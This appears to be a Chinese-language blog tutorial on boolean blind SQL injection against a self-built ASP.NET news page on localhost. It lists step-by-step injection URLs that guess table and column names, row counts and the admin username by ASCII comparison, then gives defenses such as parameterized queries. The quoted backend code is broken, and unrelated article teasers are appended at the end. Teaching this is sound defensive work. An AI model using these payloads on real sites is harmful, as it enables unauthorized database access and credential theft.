WEB 安全之 SQL注入《一》 盲注

2022-04-05 17:52:41 字數 3294 閱讀 4307

sql注入是乙個比較「古老」的話題,雖然現在存在這種漏洞的站點比較少了,我們還是有必要了解一下它的危害,及其常用的手段,知己知彼方能百戰不殆。進攻與防守相當於矛和盾的關係,我們如果能清楚了解

攻擊的全過程,就可以更好的預防類似情況的出現。

sql注入原理主要是攻擊者,利用被攻擊頁面的一些漏洞(通常都是程式設計師粗心大意造成的),改變資料庫執行的sql語句,從而達到獲取「非授權資訊」的目的。

下面自己搭建了實驗環境用於測試。  首先交待一下,測試環境 開發語言為 asp.net  ,資料庫使用的 msql ,測試頁面模擬了普通的新聞頁面,url裡接受引數 ?id=1  獲取文章id,

後台直接通獲取的id拼接查詢語句,沒有做敏感字元的過濾,從而為入侵者留下了有機可剩的漏洞.下面是後台**:

public

partial

class

newsinfo : system.web.ui.page

catch

(exception ex)}}

一、過程重現1. 測試有沒有注入漏洞

瀏覽器輸入 http://localhost:2003/newsinfo?id=1  and 1=1    頁面正常   後台執行的sql語句為:select * from news where id=1 and 1=1

輸入 http://localhost:2003/newsinfo?id=1  and 1=2  空白頁面,資料無法顯示(後台執行的sql語句為:select * from news where id=1 and 1=2),頁面有注入漏洞。

2.  猜解資料庫表名

既然有漏洞,就準備做點事情咯,主要目的是拿到後台管理員密碼,先看看資料庫裡有哪些表吧

http://localhost:2003/newsinfo?id=1 and (select count(*) from userinfo) >=0   沒有資料,繼續猜解...... n次,

終於 http://localhost:2003/newsinfo?id=1 and (select count(*) from [user]) >=0

這裡是利用 後面的條件查詢資料庫表,如果表不存在,後台就報錯了,本測試示例後台對異常做了處理,但是資料肯定是出不來的。

資料顯示正常,說明表 user 存在,判斷 為 使用者表

3. 表字段猜解

http://localhost:2003/newsinfo?id=1 and (select count(password) from [user]) >=0  ....... n次

http://localhost:2003/newsinfo?id=1 and (select count(pwd) from [user]) >=0  頁面資料正常如下圖

說名錶 user 存在 pwd 字段

同理  確認表 user 裡存在  name 字段。

4. 查詢表裡有多少條資料 

http://localhost:2003/newsinfo?id=1 and (select count(*) from [user]) >=5 返回空白頁面

http://localhost:2003/newsinfo?id=1 and (select count(*) from [user]) >=2 返回空白頁面

http://localhost:2003/newsinfo?id=1 and (select count(*) from [user]) =1  頁面正常  ,只有乙個使用者。

5. 使用者名稱猜解

使用者名稱長度,

http://localhost:2003/newsinfo?id=1 and (select len(name) from [user]) =3  ,返回空白頁面

http://localhost:2003/newsinfo?id=1 and (select len(name) from [user]) =4 ,返回空白頁面

http://localhost:2003/newsinfo?id=1 and (select len(name) from [user]) =5  ,返回正常頁面,確定使用者名為5位字元

使用者名稱猜解

第一位    http://localhost:2003/newsinfo?id=1 and (select ascii(substring(name,1,1)) from [user])> 20 ,返回正常頁面 ........... 

下面猜解 n次

http://localhost:2003/newsinfo?id=1 and (select ascii(substring(name,1,1)) from [user])> 96, 返回正常頁面

http://localhost:2003/newsinfo?id=1 and (select ascii(substring(name,1,1)) from [user])> 97   返回空白頁面了

這說明 第一位 ascii值為 97,對應字母 a

使用者名稱猜解成功。

6. 密碼猜解

使用者名稱搞定了,密碼思路也是一樣

先確定密碼長度

逐個密碼猜解,這裡就不寫注入的sql語句了,同 使用者名稱 猜解

至此,整改**管理後台淪陷。

二、防範方法

1. 後台進行輸入驗證,對敏感字元過濾。(某情況下不完全保險,可能會有漏掉的敏感字元,攻擊者可以對關鍵字元轉義繞過過濾)

2. 使用儲存過程(不靈活,太多儲存過程不好維護,特別是如果儲存過程裡涉及到業務,對以後的維護簡直是災難,出了問題也不好查詢)

3. 使用引數化查詢,能避免拼接sql,就不要拼接sql語句。(當然了,本示例只要判斷 引數id 是否為數字就不會有題了)

4. 使用一些開源的框架也可以有效的避免sql注入。

WEB 安全之 SQL注入《一》 盲注

sql注入原理主要是攻擊者,利用被攻擊頁面的一些漏洞 通常都是程式設計師粗心大意造成的 改變資料庫執行的sql語句,從而達到獲取 非授權資訊 的目的。下面自己搭建了實驗環境用於測試。首先交待一下,測試環境 開發語言為 asp.net 資料庫使用的 msql 測試頁面模擬了普通的新聞頁面,url裡接受...

WEB安全 SQL注入漏洞測試 報錯盲注

前言 目前鑽研sqli注入,這是第四篇,靶場名即為標題,鏈結如下 正文首先明確靶場為報錯注入,了解到目標,方便我們之後遇到問題有底,這裡截斷函式不知道,接下來就會遇到問題 進入靶場,環境和之前一樣,進入公告 之後按照流程,判斷出是單引號閉合,同時判斷出有四個回顯位,但是當我們準備判斷哪個是回顯位的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...